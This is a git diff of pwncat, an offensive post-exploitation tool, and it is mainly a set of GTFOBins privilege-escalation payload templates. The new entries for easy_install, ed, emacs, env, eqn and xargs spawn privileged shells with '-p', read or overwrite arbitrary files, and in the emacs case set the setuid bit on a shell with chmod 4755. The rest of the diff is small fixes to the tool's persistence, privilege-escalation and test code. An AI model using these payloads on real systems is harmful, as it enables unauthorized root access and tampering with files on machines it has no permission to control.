diff --git a/data/gtfobins.json b/data/gtfobins.json index b80159b..1f00130 100644 --- a/data/gtfobins.json +++ b/data/gtfobins.json @@ -543,6 +543,136 @@ "input": "!{shell} -p\n", "exit": "exit\nq\n" } - ] + ], +//------------------------------------------------------------------- + "easy_install": [ + { + "type": "shell", + "payload": "TF=none; {command} -h; TF=$({mktemp} -d);echo \"import os; os.execl('/bin/sh', 'sh', '-c', '{shell} <$(tty) >$(tty) 2>$(tty)')\" > $TF/setup.py; {command} $TF", + "args": [], + "exit": "exit\n" + }, + { + "type": "read", + "stream": "raw", + "payload": "TF=none; {command} -h 2>/dev/null 1>&2; TF=$({mktemp} -d);echo \"import sys; sys.stdout.buffer.write(open('{lfile}', 'rb').read())\" > $TF/setup.py; {command} $TF 2>/dev/null | {tail} -n +4", + "args": [] + } + // This seems to write small files... but not large (over ~4 KB). So we won't use it... ??? + // ,{ + // "type": "write", + // "stream": "base64", + // "payload": "TF=none; {command} -h 2>/dev/null 1>&2; TF=$({mktemp} -d); {cat} > $TF/b64; echo \"import os; os.execl('''{python}''', 'python', '''-c''', '''import base64; open('{lfile}','wb').write(base64.b64decode(open('$TF/b64', 'rb').read()))''')\" > $TF/setup.py; {command} $TF 2>/dev/null", + // "args": [], + // "exit": "{ctrl_d}{ctrl_d}" + // } + ], +//------------------------------------------------------------------- + "eb": [ + { + "type": "shell", + "payload": "{command}", + "args": ["logs"], + "input": "!{shell} -p\n", + "exit": "exit\nq\n" + } + ], +//------------------------------------------------------------------- + "ed": [ + { + "type": "shell", + "payload": "{command}", + "input": "!{shell} -p\n", + "exit": "exit\nq\n" + }, + { + "type": "read", + "stream": "raw", + "payload": "echo ',p' | {command}", + "args": ["-s", "{lfile}"], + "input" : ",p\n", + "exit" : "q\n" + }, + { + "type": "write", + "stream": "print", + "payload": "echo -e \"1,\\$d\\na\\n$({cat})\\n.\\nw\\nq\\n\" | {command}", + "args": ["-s", "{lfile}"], + "exit": "{ctrl_d}" + } + ], +//------------------------------------------------------------------- + "emacs": [ + { + "type": "shell", + "payload": "{command}; {shell} -p", + "args": ["-Q", "-nw", "--eval '(chmod \"{shell}\" #o4755)'" , "--eval \"(kill-emacs)\""], + "exit": "exit\n" + }, + { + "type": "read", + "stream": "raw", + "payload": "TF=$({mktemp}); {command}; {cat} $TF ", + "args": ["-Q", "-nw", "{lfile}", "--eval \"(write-file \\\"$TF\\\")\"", "--eval '(kill-emacs)'"] + }, + { + "type": "write", + "stream": "print", + "payload": "{cat} > /tmp/.em; {command}", + "args": ["-Q", "-nw", "/tmp/.em", "--eval \"(write-file \\\"{lfile}\\\")\"", "--eval '(kill-emacs)'"], + "exit": "{ctrl_d}{ctrl_d}" + } + ], +//------------------------------------------------------------------- + "env": [ + { + "type": "shell", + "payload": "{command} {shell} -p", + "args": [], + "exit": "exit\n" + } + ], +//------------------------------------------------------------------- + "eqn": [ + { + "type": "read", + "stream": "print", + "payload": "TF={lfile}; {command} | {grep} -Pzo \"(?s)\\.lf 1 $TF.*\" | {tail} -n +2", + "args": ["$TF"] + } + ], + + + + + + + + + + + + + + + + + + +//------------------------------------------------------------------- + "xargs": [ + { + "type": "shell", + "payload": "{command}", + "args": ["-a", "/dev/null", "{shell}", "-p"], + "exit": "exit\n" + }, + { + "type": "read", + "stream": "print", + "payload": "{command}", + "args": ["-a", "{lfile}", "-0"] + } + ] } diff --git a/pwncat/commands/persist.py b/pwncat/commands/persist.py index f40b978..e245220 100644 --- a/pwncat/commands/persist.py +++ b/pwncat/commands/persist.py @@ -142,8 +142,8 @@ class Command(CommandDefinition): # Lookup the method try: - method = pwncat.victim.persist.find(args.method) - except KeyError: + method = next(pwncat.victim.persist.find(args.method)) + except StopIteration: self.parser.error(f"{args.method}: no such persistence method") return diff --git a/pwncat/commands/privesc.py b/pwncat/commands/privesc.py index b491076..2e1620a 100644 --- a/pwncat/commands/privesc.py +++ b/pwncat/commands/privesc.py @@ -135,8 +135,11 @@ class Command(CommandDefinition): self.parser.error("missing required argument: --data") # Read in the data file - with open(args.data, "rb") as f: - data = f.read() + try: + with open(args.data, "rb") as f: + data = f.read() + except PermissionError: + self.parser.error(f"no local permission to read: {args.data}") try: # Attempt to write the data to the remote file diff --git a/pwncat/gtfobins.py b/pwncat/gtfobins.py index 0cddb29..c2136f7 100644 --- a/pwncat/gtfobins.py +++ b/pwncat/gtfobins.py @@ -10,6 +10,7 @@ import io class ControlCodes: CTRL_C = "\x03" + CTRL_X = "\x18" CTRL_Z = "\x1a" CTRL_D = "\x04" ESCAPE = "\x1B" @@ -156,6 +157,7 @@ class Method: " ".join(args), ctrl_c=ControlCodes.CTRL_C, ctrl_z=ControlCodes.CTRL_Z, + ctrl_x=ControlCodes.CTRL_X, escape=ControlCodes.ESCAPE, ctrl_d=ControlCodes.CTRL_D, **kwargs, @@ -173,6 +175,7 @@ class Method: command, ctrl_c=ControlCodes.CTRL_C, ctrl_z=ControlCodes.CTRL_Z, + ctrl_x=ControlCodes.CTRL_X, escape=ControlCodes.ESCAPE, ctrl_d=ControlCodes.CTRL_D, **kwargs, @@ -183,6 +186,7 @@ class Method: self.payload, command=command, ctrl_c=ControlCodes.CTRL_C, + ctrl_x=ControlCodes.CTRL_X, ctrl_z=ControlCodes.CTRL_Z, escape=ControlCodes.ESCAPE, ctrl_d=ControlCodes.CTRL_D, @@ -254,6 +258,7 @@ class MethodWrapper: self.method.exit, ctrl_c=ControlCodes.CTRL_C, ctrl_z=ControlCodes.CTRL_Z, + ctrl_x=ControlCodes.CTRL_X, escape=ControlCodes.ESCAPE, ctrl_d=ControlCodes.CTRL_D, **kwargs, @@ -264,6 +269,7 @@ class MethodWrapper: self.method.input, ctrl_c=ControlCodes.CTRL_C, ctrl_z=ControlCodes.CTRL_Z, + ctrl_x=ControlCodes.CTRL_X, escape=ControlCodes.ESCAPE, ctrl_d=ControlCodes.CTRL_D, **kwargs, diff --git a/pwncat/privesc/__init__.py b/pwncat/privesc/__init__.py index a2917cb..20a813e 100644 --- a/pwncat/privesc/__init__.py +++ b/pwncat/privesc/__init__.py @@ -22,7 +22,8 @@ from pwncat import util # privesc_methods = [SetuidMethod, SuMethod] # privesc_methods = [SuMethod, SudoMethod, SetuidMethod, DirtycowMethod, ScreenMethod] -privesc_methods = [SuMethod, SudoMethod, SetuidMethod] +# privesc_methods = [SuMethod, SudoMethod, SetuidMethod] +privesc_methods = [SuMethod, SudoMethod] class Finder: diff --git a/tests/gtfobins.py b/tests/gtfobins.py index 7efeb16..1720b92 100755 --- a/tests/gtfobins.py +++ b/tests/gtfobins.py @@ -59,7 +59,9 @@ group.add_argument( parser.add_argument("--path", "-p", help="The local file name to read or write") parser.add_argument("--length", "-l", type=int, help="The length the data to write") -parser.add_argument("--shell", "-s", help="The local shell to start") +parser.add_argument( + "--shell", "-s", help="The local shell to start", default="/bin/bash" +) parser.add_argument("--data", "-d", help="The local data to write to the remote file") parser.add_argument( "--capability", @@ -105,7 +107,7 @@ def local_which(path: str, quote: bool = True): return result -gtfo = GTFOBins("data/gtfobins.json", local_which) +gtfo = GTFOBins("../data/gtfobins.json", local_which) if args.find: if not args.spec: @@ -137,6 +139,6 @@ for method in methods: user=args.user, spec=args.spec, ) - print(f" Payload: {repr(payload)}") + print(f" Payload: {payload}") print(f" Input: {repr(input_data)}") print(f" Exit Command: {repr(exit_cmd)}")